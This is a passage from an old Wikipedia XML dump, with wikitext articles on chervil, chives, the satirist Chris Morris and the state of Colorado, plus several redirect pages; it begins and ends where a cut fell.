* [http://geography.about.com/library/weekly/aa011201a.htm Largest Cities Through History]

{{Subnational entity}}

[[Category:Cities| ]]
[[Category:Subnational entities]]

[[ur:شہر]]
[[bg:&amp;#1043;&amp;#1088;&amp;#1072;&amp;#1076;]]
[[cs:M%C4%9Bsto]]
[[cy:Dinas]]
[[da:By]]
[[de:Großstadt]]
[[el:&amp;#960;&amp;#972;&amp;#955;&amp;#951;]]
[[eo:Urbo]]
[[es:Ciudad]]
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[[he:עיר]]
[[hr:Grad]]
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[[ja:&amp;#37117;&amp;#24066;]]
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[[nb:By]]
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[[nn:By]]
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[[zh:&amp;#24066;]]</text>
    </revision>
  </page>
  <page>
    <title>Cilantro</title>
    <id>5392</id>
    <revision>
      <id>15903602</id>
      <timestamp>2003-11-10T18:35:06Z</timestamp>
      <contributor>
        <username>Hephaestos</username>
        <id>3628</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[coriander]]</text>
    </revision>
  </page>
  <page>
    <title>Coriander (plant)</title>
    <id>5393</id>
    <revision>
      <id>15903603</id>
      <timestamp>2003-11-10T18:33:00Z</timestamp>
      <contributor>
        <username>(</username>
        <id>7041</id>
      </contributor>
      <comment>merged contents back to [[Coriander]]</comment>
      <text xml:space="preserve">#redirect [[Coriander]]</text>
    </revision>
  </page>
  <page>
    <title>Chervil</title>
    <id>5394</id>
    <revision>
      <id>37346285</id>
      <timestamp>2006-01-30T11:24:28Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Garden Chervil
| image = Anthriscus cerefolium Kervel plant.jpg
| image_width = 250px
| regnum = [[Plant]]ae
| subregnum = [[Tracheobionta]]
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[dicotyledon|Magnoliopsida]]
| subclassis = [[Rosidae]]
| ordo = [[Apiales]]
| familia = [[Apiaceae]]
| genus = '''''[[Anthriscus]]'''''
| species = '''''A. cerefolium'''''
| binomial = ''Anthriscus cerefolium''
| binomial_authority = (L.) Hoffm.
}}

'''Chervil''' (''[[Anthriscus]] cerefolium''), sometimes called garden chervil,  is a delicate [[annual plant|annual]] [[herb]], usually used to flavor mild-flavoured foods such as [[poultry]], some [[seafood]]s, and young [[vegetable]]s. It is a constituent of the French herb mixture [[fines herbes]].

''Classification:'' Chervil is a member of the parsley or carrot family, [[Apiaceae]].

== External links ==

* [http://www.uni-graz.at/~katzer/engl/Anth_cer.html Spice Pages: Chervil] 
* [http://www.sallys-place.com/food/columns/gilbert/chevil.htm chervil]

{{vegetable-stub}}
[[Category:Apiaceae]]
[[Category:Herbs]]

[[de:Garten-Kerbel]]
[[et:Aed-harakputk]]
[[eo:Cerefolio]]
[[fr:Cerfeuil commun]]
[[hu:Turbolya]]
[[nl:Kervel]]
[[sv:Dansk körvel]]</text>
    </revision>
  </page>
  <page>
    <title>Chives</title>
    <id>5395</id>
    <revision>
      <id>41016441</id>
      <timestamp>2006-02-24T14:33:31Z</timestamp>
      <contributor>
        <username>Espetkov</username>
        <id>52780</id>
      </contributor>
      <minor />
      <comment>+bg</comment>
      <text xml:space="preserve">{{OtherUses|the plant Chives}}

{{Taxobox
| color = lightgreen
| name = Chives
| image = Allium schoenoprasum(01).jpg
| image_width = 200px
| regnum = [[Plant]]ae
| subregnum = [[Tracheobionta]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| subclassis = Liliidae
| ordo = [[Asparagales]]
| familia = [[Alliaceae]]
| genus = ''[[Allium]]''
| species = '''''A. schoenoprasum'''''
| binomial = ''Allium schoenoprasum''
| binomial_authority = [[Eduard August von Regel|Regel]] &amp; [[Heinrich Sylvester Theodor Tiling|Tiling]]
}}

'''Chives''' (''Allium schoenoprasum'') are a species of [[flowering plant]] in the [[onion]] family [[Alliaceae]], native to [[Europe]] and [[Asia]]. They are referred to only in the plural, because they grow in clumps rather than alone.

It is a [[bulb]]-forming [[herbaceous]] [[perennial plant]], growing to 30-50 cm tall. The bulbs are slender conic, 2-3 cm long and 1 cm broad, and grow in dense clusters from the roots. The [[leaf|leaves]] are hollow tubular, up to 50 cm long, and 2-3 mm in diameter, with a soft texture. The [[flower]]s are pale purple, star-shaped with six [[tepal]]s, 1-2 cm wide, and produced in a dense [[inflorescence]] of 10-30 together; before opening, the inflorescence is surrounded by a papery [[bract]]. The [[seed]]s are produced in a small three-valved capsule, maturing in summer.

===Uses===
[[Image:Chives(GreenOnion) for Misoshiru PacificBeachHotel Waikiki.JPG|thumb||left|270px|[[green onion|Green onions]] used frequently in oriental cuisine are often mentioned incorrectly as chives, as in this photo, served as a garnish for Japanese soup [[misoshiru]].]]

Chives are grown for their leaves, which are used as a [[vegetable]] or a [[herb]]; they have a somewhat milder flavour than [[onion|onions]], [[green onion|green onions]] or [[garlic|garlics]]. Among the latter three ''[[Allium]]'' plants, chives resemble most the ordor of green onions, which may explain one of the two Chinese names of chives, [[:zh:細香蔥|細香蔥]], meaning &quot;thin fragrant green onions&quot;.

Chives are chopped raw and typically used for seasoning salads and omelettes, or as a topping for [[baked potato]]es. Unlike the occasional use in [[Japanese cuisine]], they are almost '''not''' used in [[Chinese cuisine]]. It may be confounding that [[green onion|green onions]] or [[Chinese chives]] (also referred as [[garlic chives]]), instead of chives, are actually used in Chinese cuisine as a garnish in a number of [[stir fry]] dishes. Garlic chives are sometimes used as long cuts, and tossed in after cooking is complete, for both color and their not-so-strong flavor.

===Cultivation===

Chives thrive in well drained soil, rich in organic matter, with a pH of 6.0-7.0 and full sun. They tolerate light shade, but 6-8 hours of direct light is best.

[[Image:Chives.web.jpg|thumb|right|close-up of a flower]][[Image:Chives small three-valved capsule with seeds.jpg||thumb|right|capsules with seeds]]

Chives can be grown from seed when mature in summer, or early the following spring. Typically chives need to be germinated at a temperature of 15 °C to 20 °C and kept moist. They can also be planted under a [[cloche]] or germinated indoors in cooler climates then planted out later. After at least four weeks the young shoots should be ready to be planted out.

The easiest way to cultivate chives is to dig up a good sized clump of them pull the mass of little bulbs apart and replant them. It is suggested that this should be done every 2-3 years.

Chives die back to the underground bulbs in winter, with the new leaves appearing in early spring. They can also be cut back if they are looking worse for wear, with a cut to a height of 2-5 cm encouraging new growth.

===History and Folklore===
The ancient Chinese are the first documented to be using chives, as long ago as 3000 years B.C.

The Romans believed chives could relieve the pain from sunburn or a sore throat. They believed that eating chives would increase blood pressure and acted as a diuretic.

Romanian Gypsies have used chives in fortune telling.

It was believed that bunches of dried chives hung around a house would ward off disease and evil.

== External links ==
* [http://www.botanical.com/botanical/mgmh/c/chives65.html Mrs. Grieve's] &quot;A Modern Herbal&quot; @ Botanical.com
* [http://www.selfsufficientish.com/chives.htm Chives, history, clutivation,container growing and a recipe]

{{Commons|Allium schoenoprasum}}
{{cookbookpar|Chive}}

[[Category:Asparagales]]
[[Category:Herbs]]

[[bg:Сибирски лук]]
[[da:Purløg]]
[[de:Schnittlauch]]
[[eo:Sxenoprazo]]
[[he:עירית]]
[[hu:Metélőhagyma]]
[[it:Erba cipollina]]
[[ja:チャイブ]]
[[nl:Bieslook]]
[[sl:Drobnjak]]
[[sv:gräslök]]
[[es:Cebolleta]]
[[fr:Ciboulette]]
[[zh:蝦夷蔥]]</text>
    </revision>
  </page>
  <page>
    <title>ChrisMorris</title>
    <id>5396</id>
    <revision>
      <id>15903606</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Chris Morris]]
</text>
    </revision>
  </page>
  <page>
    <title>Chris Morris (satirist)</title>
    <id>5397</id>
    <revision>
      <id>41941284</id>
      <timestamp>2006-03-02T19:53:04Z</timestamp>
      <contributor>
        <username>Pissant</username>
        <id>679766</id>
      </contributor>
      <comment>image</comment>
      <text xml:space="preserve">[[Image:Chrismorris.jpg|thumb|Chris Morris in ''[[Brass Eye]]'']]

'''Chris (Christopher) Morris''' (born [[June 15]], [[1962]]) is an [[England|English]] comedy writer, [[satire|satirist]] and radio [[disc jockey|DJ]].

Morris was born in [[Cambridgeshire]]; both his parents were doctors. He was educated at [[Stonyhurst College]], a [[Jesuit]] boys' boarding school in [[Lancashire]], and studied [[zoology]] at [[Bristol University]].

==Early career==
Chris showed his comic talent in the lower sixth form, when he played Charon in a production of [[The Frogs]] by [[Aristophanes]]. Although a minor part, his portrayal of [[Charon]] stole the show.

On graduating, Morris took up a traineeship with [[BBC Radio Cambridgeshire]], where he took advantage of the free access to editing and recording equipment to create elaborate [[Parody|spoof]]s and [[parody|parodies]]. On leaving Radio Cambridgeshire he worked at [[BBC Radio Bristol]] and [[Greater London Radio]] (GLR). He was fired by Radio Bristol, with varying accounts claiming that he had either been excessively abusive to a caller or had talked (and possibly eaten) over a news broadcast. However, the legendary incident in which he supposedly released helium into a news studio was part of a prepared 'sketch' item and never led to a suspension or dismissal. Also, despite rumours to the contrary, he was never fired or suspended from GLR and continued to broadcast with the station sporadically until his television career took off.

In 1991 Morris largely gave up work as a mainstream disc jockey and devoted himself to comedy with his radio project ''[[On the Hour]]''. Working with [[Armando Iannucci]], [[Patrick Marber]], [[Richard Herring]], [[Stewart Lee]], [[Steve Coogan]] and others, he created a highly original spoof news show which was broadcast on [[BBC Radio 4]].

==Move into television==
In 1994 a television series based on ''On the Hour'' was broadcast under the name ''[[The Day Today]]''. ''The Day Today'' made a star of Morris, and also helped to launch the careers of [[Patrick Marber]] and [[Steve Coogan]]. 1994 proved to be Morris's most critically successful year, as he presented a [[BBC Radio 1]] series similar in content to, but sharper than, the [[Greater London Radio]] broadcasts, and teamed up with comedy legend [[Peter Cook]], as [[Sir Arthur Streeb-Greebling]], in a series of improvised conversations for Radio Three, entitled ''Why Bother?''. Morris followed this with ''[[Blue Jam]]'', a late-night [[ambient music]] and sketch show broadcast on Radio 1, which was later reworked for television as [[Channel 4]]'s ''[[Jam (TV series)|Jam]]''.

The &quot;sick comedy&quot; which had bubbled under in ''On the Hour'' and ''The Day Today'' found full release, however, with ''[[Brass Eye]]'', another spoof current affairs television documentary show, shown on Channel 4. The station remit allowed for more shocking material, and Morris took full advantage of this freedom, exploring such [[taboo]]s as infant mortality, [[incest]], [[anal sex]], [[rape]], [[suicide]] and [[sadomasochism]]. In 2001 a reprise of ''Brass Eye'' on the subject of [[pedophilia|paedophilia]] led to record numbers of viewer complaints (now the second highest on UK television after ''[[Jerry Springer - The Opera|Jerry Springer: The Opera]]''), and a great deal of hysterical discussion in the press. Many complainants, some of whom later admitted to not having seen the programme (notably [[Beverley Hughes]], at the time a government minister), felt the satire was directed at the victims of paedophilia, which Morris denies. Most critics, however, felt that the programme's target was actually media coverage of the subject.

==A controversial figure==
Morris has also covered other controversial subjects. He once [[List of premature obituaries|falsely suggested]] on the radio that [[Jimmy Savile]] and [[Conservative Party (UK)|Conservative]] [[Member of Parliament|MP]] [[Michael Heseltine]] had died; had a show faded mid-broadcast when he played a scurrilous [[cut-up]] of the [[Archbishop of Canterbury]]'s funeral oration for [[Diana, Princess of Wales]], although Radio 1 had previously cleared this for broadcast and this was an error on their part as they mistook it for another censored sketch on a similar theme; and performed a song in the style of [[Pulp (band)|Pulp]] lead singer [[Jarvis Cocker]] about notorious child-murderer [[Myra Hindley]] with the following lyrics: &quot;Every time I see your picture, Myra/I have to phone my latest girlfriend up and fire her/And find a prostitute who looks like you and hire her/Oh, me oh Myra.&quot;

In 1994 Morris portrayed a fictional rapper, Fur-Q, for a sketch satirising hip hop's glamourising of guns and violence (signature track - &quot;Uzi Lover&quot;). He would visit similar territory in ''[[Brass Eye]]'', with JLB8 (Jailbait), an [[Eminem]] clone who openly worked paedophile themes into his music and thus had a huge following of preteen girls.

In [[2002]] Morris ventured into [[film]] with the [[short film|short]] ''[[My Wrongs 8245 - 8249 and 117]]'', a version of a ''Blue Jam'' sketch about a man looking after a sinister talking dog. It was the first film project of [[Warp Films]], a branch of [[Warp Records]]. In [[2003]] this won the [[BAFTA]] for best short film.  

In 2005 Morris worked on a sitcom entitled ''[[Nathan Barley]]'', based on the character created by [[Charlie Brooker]] for his website [[TVGoHome]]. Co-written by Brooker and Morris, the series was broadcast on [[Channel 4]] in early [[2005]].

==Current work==
Morris is a cast member in ''[[The IT Crowd]]'', a [[Channel 4]] [[situation comedy|sitcom]] focusing on the office and home lives of two &quot;[[geek]]s&quot; who work in the [[information technology]] department of the fictional company Reynholm Industries. The series is written and directed by [[Graham Linehan]] (writer of ''[[Father Ted]]'' and ''[[Black Books]]'', with whom Morris collaborated on ''The Day Today'', ''Brass Eye'' and ''Jam'') and produced by [[Ash Atalla]] (''[[The Office]]''). Morris plays Denholm Reynholm, the eccentric managing director of the company. This marks the first time Morris has acted in a substantial role in a project which he hasn't developed himself. The series began on Channel 4 on [[February 3]] [[2006]].

==Other information==
A significant feature of Morris's output is his music. He often co-writes and performs incidental music for his television shows, notably with ''Jam'' and the 'extended remix' version, ''Jaaaaam''. His parodies of musical performances (such as the Pulp spoof mentioned above and an [[Eminem]] parody in the paedophilia special) are very accurate. This is due not only to his musical ability, but also to his understanding of the way in which the original artist created their music.

In [[2003]] he was listed in ''[[The Observer]]'' as one of the 50 funniest acts in British comedy. In [[2004]], [[Channel 4]] aired a show called ''[[The Comedian's Comedian]]'' in which foremost writers and performers of comedy ranked their 50 favourite acts. Morris was at number eleven, above many acclaimed comedians including [[Bill Hicks]], [[Peter Sellers]] and [[Eddie Izzard]].

British band Stereolab's song 'Nothing To Do With Me' from their 2001 album 'Sound Dust' featured various lines from Chris Morris sketches as lyrics. 

Morris is widely regarded as someone reluctant to discuss his work, although he has given interviews, albeit rarely. Morris lives in [[Brixton]] with [[Jo Unwin]].

== Works ==
* ''[[No Known Cure]]'' (August [[1987]]- March [[1989]], BBC Radio Bristol)
* ''Miss Marple'' ([[1988]]-[[1993]], BBC GLR)
* ''[[Loose Ends (radio)|Loose Ends]]'' ([[1989]], [[BBC Radio 4]])
* ''[[Up Yer Loose One]]'' ([[1990]], [[BSB]])
* ''[[The Chris Morris Christmas Show]]'' ([[25 December]] [[1990]], BBC Radio 1)
* ''[[On The Hour]]'' ([[1991]]-[[1992]], BBC Radio 4)
* ''[[Why Bother?]]'' ([[1994]], BBC Radio 3)
* ''[[The Day Today]]'' ([[1994]], BBC 2)
* ''The Chris Morris Music Show'' ([[1994]], BBC Radio 1)
* ''[[Brass Eye]]'' ([[1997]], Channel 4)
* ''[[Blue Jam]]'' ([[1997]]-[[1999]], BBC Radio 1)
* ''[[Swatman Follies]]'' ([[1998]], BBC Radio 4)
* ''[[Big Train]]'' ([[1999]], BBC 2) Various sketches.
* ''[[Second Class Male/Time To Go]]'' ([[1999]], newspaper column for [[The Observer]])
* ''[[Jam (TV series)|Jam]]''/''[[Jaaaaam]]'' ([[2000]], Channel 4)
* ''[[Brass Eye Special]]'' ([[2001]], Channel 4)
* ''[[The Smokehammer]]'' ([[2002]], website)
* ''[[Absolute Atrocity Special]]'' ([[2002]], newspaper pullout for [[The Observer]])
* ''[[Bushwhacked MP3|Bushwhacked]]'' (2002)
* ''[[My Wrongs 8245 - 8249 and 117]]'' ([[2002]], [[short film]])
* ''[[Nathan Barley]]'' ([[2005]], Channel 4)
* ''[[The IT Crowd]]'' ([[2006]], Channel 4)

==External links==
*[http://www.thesmokehammer.com/ The Smokehammer] - A site by Chris Morris
*{{imdb name|id=0606439|name=Christopher Morris}}
*[http://www.cookdandbombd.co.uk Cook'd and Bomb'd] - A site devoted to the work of Chris Morris and his collaborators
*[http://www.trashbat.co.ck/ trashbat.co.ck] - This site is referred to in ''Nathan Barley'' throughout and, notionally, is the creation of the titular character.  The [[.co]][[.ck]] domain is as a result of the second level domain for ''company'' and the top level domain for the ''[[Cook Islands]]''.
*[http://www.theitcrowd.co.uk/ The IT Crowd] - A site dedicated to the [[Channel 4]] show [[The IT Crowd]].

[[Category:1962 births|Morris, Chris]]
[[Category:British satirists|Morris,Chris]]
[[Category:English comedians|Morris,Chris]]
[[Category:Living people|Morris, Chris]]
[[Category:Old Stonyhurst|Morris, Chris]]
[[Category:University of Bristol Alumni|Morris, Chris]]</text>
    </revision>
  </page>
  <page>
    <title>Computer Security</title>
    <id>5398</id>
    <revision>
      <id>15903608</id>
      <timestamp>2004-03-05T02:23:50Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; Computer security</comment>
      <text xml:space="preserve">#REDIRECT [[Computer security]]</text>
    </revision>
  </page>
  <page>
    <title>Colorado</title>
    <id>5399</id>
    <revision>
      <id>41264369</id>
      <timestamp>2006-02-26T03:58:19Z</timestamp>
      <contributor>
        <username>DividedByNegativeZero</username>
        <id>508513</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
&lt;div style=&quot;float: right; width: 325px;&quot;&gt;
{{US state |
  Name            = Colorado |
  Fullname        = State of Colorado |
  Flag            = Flag of Colorado.svg |
  Flaglink      = [[Flag of Colorado]] |
  Seal            = Coloradostateseal.jpg |
  Map             = Map of USA highlighting Colorado.png |
  Nickname        = The Centennial State |
  Capital         = [[Denver, Colorado|Denver]] |
  OfficialLang    = English |
  LargestCity     = [[Denver, Colorado|Denver]] |
  Governor        = [[Bill Owens]] (R)|
  Senators        = [[Wayne Allard]] (R)
[[Ken Salazar]] (D) |
  PostalAbbreviation = CO |
  AreaRank        = 8&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 269&amp;nbsp;837 |
  LandArea        = 268&amp;nbsp;879 |
  WaterArea       = 962 |
  PCWater         = 0.36 |
  PopRank         = 24&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 4,301,261 |
  DensityRank     = 37&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 16.01 |
  AdmittanceOrder = 38&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[August 1]], [[1876]] |
  TimeZone        = [[Mountain Standard Time Zone|Mountain]]: [[Coordinated Universal Time|UTC]]-7/[[Daylight saving time|DST]]-6 |
  Latitude        = 37°N to 41°N |
  Longitude       = 102°W to 109°W |
  Width           = 451 |
  Length          = 612 |
  HighestElev     = 4401 |
  MeanElev        = 2100 |
  LowestElev      = 1010 |
  ISOCode         = US-CO |
  Website         = www.colorado.gov
}}
{|{{US state insignia |
  Name        = Colorado |
  StateMotto  = ''Nil sine numine'' ([[Latin]], &quot;Nothing without Providence&quot;) |
  StateSlogan = ''none'' |
  StateBird   = [[Lark Bunting]] |
  StateAnimal = [[Rocky Mountain bighorn sheep]] |
  StateFish   = [[Cutthroat trout|Greenback cutthroat trout]] |
  StateInsect = [[Colorado Hairstreak Butterfly]] |
  StateFlower = [[Rocky Mountain Columbine]] |
  StateTree   = [[Blue Spruce|Colorado Spruce or Blue Spruce]] |
  Fossil=show    | StateFossil = [[Stegosaurus]] |
  StateSong   = &quot;[[Where the Columbines Grow]]&quot; |
  FolkDance=Show | StateFolkDance = [[Square dance]] |
  Gemstone=Show  | StateGemstone  = [[Aquamarine]] |
  Mineral=Show   | StateMineral   = [[Rhodochrosite]] |
  Rock=Show      | StateRock      = [[Yule Marble]] |
  Grass=Show     | StateGrass     = [[Blue grama]] |
  Tartan=Show    | StateTartan    = ''to be added'' |
  Butterfly=Hide |
  Amphibian=Hide |
  Colors=Hide    |
  Stone=Hide     |
  Soil=Hide      |
  Beverage=Hide  |
  DomesticatedAnimal=Hide |
  Furbearer=Hide |
  Game=Hide      |
  Reptile=Hide   |
  Wildflower=Hide |
  MusicalInstrument=Hide |
  Waltz=Hide     |
  QuarterRelease = To be released in [[2006]]
}}
|- style=&quot;vertical-align:top;&quot;
|'''[[List of U.S. state dances|Folk dance]]''' || [[Square dance]]
|-
|'''[[List of U.S. state minerals, rocks, stones and gemstones|Gemstone]]''' || [[Aquamarine]]
|-
|'''[[List of U.S. state minerals, rocks, stones and gemstones|Mineral]]''' || [[Rhodochrosite]]
|-
|'''[[List of U.S. state minerals, rocks, stones and gemstones|Rock]]''' || [[Yule Marble]]
|-
|'''[[List of U.S. state grass|Grass]]''' || [[Blue grama]]
|-
|'''[[Tartan]]''' || [[Image:ColoradoTartan.gif|100px]]
|-
{{US state quarter |
  Name  = Colorado |
  Image = Colorado quarter, reverse side, 2006.jpg |
  ReleaseDate = To be released in [[2006]]
}}
|}
&lt;/div&gt;
'''Colorado''' is a [[Western United States|western]] [[U.S. state|state]] in the central part of the country. Colorado is best known as the home of the highest peaks of the [[Rocky Mountains]], which dominate the western half of the state; eastern Colorado is mostly [[High Plains (United States)|High Plains]] (prairie) and sparsely populated. 

The state capital and largest city is [[Denver, Colorado]]; the [[Denver-Aurora metropolitan area]] contains over half of the state's population (2.5 million out of 4.3 million). The state was named after the [[Spanish language|Spanish]] word &quot;Colorado&quot; which means &quot;reddish colored&quot; that presumably refers to the red [[sandstone]] formations in the area or reddish brown color of the [[Colorado River]].

The [[U.S. Postal abbreviation]] for the state is '''CO'''. Three different ships have been named [[USS Colorado|USS ''Colorado'']] in honor of this state.

==History of Colorado==
{{main|History of Colorado}}

The territory which ultimately became Colorado was added to the [[United States]] by the [[1803]] [[Louisiana Purchase]] and the [[1848]] [[Mexican Cession]]. The [[Colorado Gold Rush]] of [[1859]] (see also [[Fifty-Niner]]) brought large numbers of settlers to the [[Denver, Colorado|Denver]] area, although the population collapsed following an initial mining boom. The [[Colorado Territory]] was organized as a [[Political divisions of the United States|United States territory]] on [[February 28]], [[1861]] and Colorado attained statehood in [[1876]] (earning it the moniker the &quot;Centennial State&quot;).   Colorado women were granted the right to vote starting on [[November 7]], [[1893]].

==Law and government==
[[Image:Colorado state capitol.jpg|left|thumb|Colorado State Capitol in Denver]]
Like the majority of the [[U.S. state|states]], Colorado's current [[constitution]] provides for three branches of government: the legislative, executive and judicial branches. The legislative body is the General Assembly made up of two houses, the House of Representatives and the Senate. The House of Representatives has 65 members and the Senate has 35. Currently, [[United States Democratic Party|Democrats]] are in control of both chambers of the General Assembly. The [[2005]] Colorado General Assembly is the first to be controlled by the Democrats in forty years.

Colorado is considered a very independent state politically, having elected 17 Democrats and 12 [[Republican Party (United States)|Republicans]] to the governorship in the last 100 years.  The state supported Democrat [[Bill Clinton]] in [[1992]], and the Republican presidential nominees in [[1996]] and [[2000]].  Recently, the state appears to be going more towards the center. [[George W. Bush]] won the state's 9 electoral votes in [[2004]] by a margin of 5 percentage points with 51.7% of the vote, considerably less than the 9% margin Bush won by in [[2000]], however this can be largely attributed to the 5% of the vote [[Ralph Nader]] won in 2000.  Nearly all of these votes went to Democrat [[John Kerry]] in 2004.  [http://www.cnn.com/ELECTION/2004/special/president/showdown/CO/].  [[Democratic Party (United States)|Democrats]] also gained in every open seat race in the state, picking up a seat in the [[Senate]] and the [[House of Representatives]]. Democrats are strongest in [[Denver Metropolitan Area|metropolitan Denver]], [[Boulder, Colorado|Boulder]], southern Colorado (including [[Pueblo, Colorado|Pueblo]], and a few western ski resort counties, while Republicans are strongest in the rural plains region, [[Colorado Springs]], the [[Western Slope of Colorado|Western Slope]] (including [[Grand Junction]]), and some of the Denver suburbs.
The fastest growing parts of the state, particularly [[Douglas County, Colorado|Douglas]], [[Elbert County, Colorado|Elbert]] and [[Weld County, Colorado|Weld]] counties in metro Denver, are strongly Republican.   

The two [[United States Senate|Senators]] from Colorado are [[Wayne Allard]] (R), and [[Ken Salazar]] (D). 
The governor heads the state's executive branch. The current governor of Colorado is [[Bill Owens]] (R). See: [[List of Colorado Governors]]

The fact that the population of Colorado is made up heavily of transplanted citizens is illustrated by the fact that the state has not had a native-born governor since [[1975]] (when [[John David Vanderhoof]] left office) and has not elected one since [[1958]], in the person of [[Stephen L.R. McNichols]].  (Vanderhoof ascended from the Lieutenant Governorship when [[John Arthur Love]] was given a position in [[Richard Nixon]]'s administration in [[1973]].)  Bill Owens is a native of [[Ft. Worth, Texas]].

&lt;br span=&quot;clear:left;&quot;/&gt;

==Geography==
{{see also|List of Colorado counties|List of Colorado rivers}}

Colorado is one of only three states (the others are [[Wyoming]] and [[Utah]]) that has only lines of [[latitude]] and [[longitude]] for borders.  It stretches exactly from 37°N to 41°N, and 102°W to 109°W.  The [[Four Corners Monument]] at its southwestern-most point is at 37°N and 109°W.

East of the [[Front Range]] of the [[Rocky Mountains]] are the [[Colorado Eastern Plains]], the section of the [[Great Plains]] within Colorado at elevations ranging from 3500 to 7000 ft (1000 to 2000&amp;nbsp;m). [[Kansas]] and [[Nebraska]] border Colorado to the east. The plains are sparsely settled with most population along the [[South Platte River|South Platte]] and the [[Arkansas River|Arkansas]] rivers and the I-70 corridor. Rainfall is meager, averaging about 15 in/year (380 mm/year). There is some irrigated farming, but much of the land is used for [[dryland farming]] or [[ranching]]. [[Winter wheat]] is a typical crop and most small towns in the region boast both a [[water tower]] and a [[grain elevator]].

The major cities and towns lie just east of the Front Range, in the I-25 corridor. The majority of the population of Colorado lives in this densely urbanized strip.

To the west lies the [[Colorado Front Range|Front Range]] of the [[Rocky Mountains]] with notable peaks such as [[Longs Peak|Long's Peak]], [[Mount Evans]], [[Pikes Peak]], and the [[Spanish Peaks]] near Walsenburg in the south. This area drains to the east, is forested, and partially urbanized. With urbanization, utilization of the forest for timbering and grazing was retarded which resulted in accumulation of fuel. During the drought of [[2002]] devastating [[forest fire|forest fires]] swept this area.

To the west of the Front Range lies the [[continental divide]]. To the west of the continental divide is the [[Western Slope of Colorado|Western Slope]]. Water west of the continental divide drains into the [[Pacific Ocean]] via the [[Colorado River (U.S.)|Colorado River]].
[[Image:Colorado.png|thumb|right|300px|[[Digital elevation model]] relief map of Colorado &amp;mdash; much of the state is flat, despite stereotypes]]
Within the interior of the Rocky Mountains there are several large parks or high broad basins. In the north, on the east side of the continental divide is [[North Park]]. North Park is drained by the [[North Platte River]] which flows north into [[Wyoming]]. Just south, but on the west side of the continental divide is [[Middle Park]], drained by the Colorado River. [[South Park]] is the [[headwater]]s of the South Platte River. To the south lies the [[San Luis Valley]], the headwaters of the [[Rio Grande]] which drains into [[New Mexico]]. Across the [[Sangre de Cristo Range]] to the east of the San Luis Valley lies the [[Wet Mountain Valley]]. These basins, particularly the San Luis Valley, lie along the [[Rio Grande Rift]], a major [[geological formation]], and its branches. See [[Great Rift Valley]].

[[Image:Longs Peak.jpg|thumb|left|Snowpack accumulation at 14,255 ft (4345&amp;nbsp;m) on Longs Peak in Rocky Mountain National Park.]]
The Rocky Mountains within Colorado contain 54 peaks over 14,000 ft (4270&amp;nbsp;m), known as [[fourteener]]s. The mountains are timbered with [[conifer]]s and [[aspen]] to the [[tree-line]], at an elevation of about 12,000 ft (4000&amp;nbsp;m) in southern Colorado to about 10,500 ft (3200&amp;nbsp;m) in northern Colorado; above this only alpine vegetation grows. The Rockies are snow-covered only in the winter; most snow melts by mid August with the exception of a few small glaciers. The [[Colorado Mineral Belt]], stretching from the [[San Juan Mountains]] in the southwest to Boulder and [[Central City, Colorado|Central City]] on the front range, contains most of the historic gold and silver [[mining district]]s of Colorado. 

The Western Slope is generally drained by the Colorado River and its tributaries. Notable to the south are the [[San Juan Mountains]], an extremely rugged mountain range, and to the west of the San Juans, the [[Colorado Plateau]], a high desert bordering Southern [[Utah]]. [[Grand Junction, Colorado|Grand Junction]] is the largest city on the Western Slope. Grand Junction is served by Interstate Highway I-70. To the southeast of Grand Junction is [[Grand Mesa]], a large flat-topped mountain. Further east lie the [[ski resort]]s of [[Aspen, Colorado|Aspen]], [[Vail, Colorado|Vail]], [[Crested Butte, Colorado|Crested Butte]], and [[Steamboat Springs, Colorado|Steamboat Springs]]. The northwestern corner of Colorado bordering Northern Utah and Western Wyoming is mostly sparsely populated rangeland.

From west to east, the state consists of desert-like basins, turning into plateaus, then alpine mountains, and then the grasslands of the Great Plains. [[Mount Elbert]] is the highest peak in the Rocky Mountains within the continental United States. The famous [[Pikes Peak]] is just west of [[Colorado Springs, Colorado|Colorado Springs]]. Its lone peak is visible from near the [[Kansas]] border on clear days.

==Economy==
[[Image:Corn production in Colorado.jpg|thumb|250px|Corn production in Colorado.]]

The state's economy broadened from its mid 19th century roots in mining when irrigated agriculture developed, and by the late 19th century, raising livestock had become important. Early industry was based on the extraction and processing of minerals and agricultural products. Current agricultural products are [[cattle]], [[wheat]], [[dairy product]]s, [[maize|corn]], and [[hay]].

The [[federal government]] is also a major economic force in the state with many important federal facilities including [[NORAD]] and the [[United States Air Force Academy]] in [[Colorado Springs]], [[NOAA]] and the [[National Institute of Standards and Technology]] in [[Boulder, CO|Boulder]], [[U.S. Geological Survey]] and other government agencies at the Denver Federal Center in [[Lakewood, CO|Lakewood]], the [[Denver Mint]], and [[United States Court of Appeals for the Tenth Circuit| 10th Circuit Court of Appeals]] in Denver, and a federal [[ADX Florence|Supermax Prison]] and other federal [[prisons]] near [[Cañon City, CO|Cañon City]]. There are of course various other [[Independent Agencies of the United States Government|federal agencies]] and federally owned lands in the state, especially with Colorado's abundant [[National Forests]] and four [[List of U.S. national parks by state#Colorado|National Parks]]. There are also numerous private companies that have operations in Colorado that deal with the governmental agencies in the state.

In the second half of the 20th century the industrial and service sectors have expanded greatly. The state's economy is diversified and is notable for its concentration of scientific research and high-technology industries. Other industries include [[food processing]], transportation equipment, machinery, chemical products, minerals such as gold and [[molybdenum]], and tourism. Denver is an important financial center.

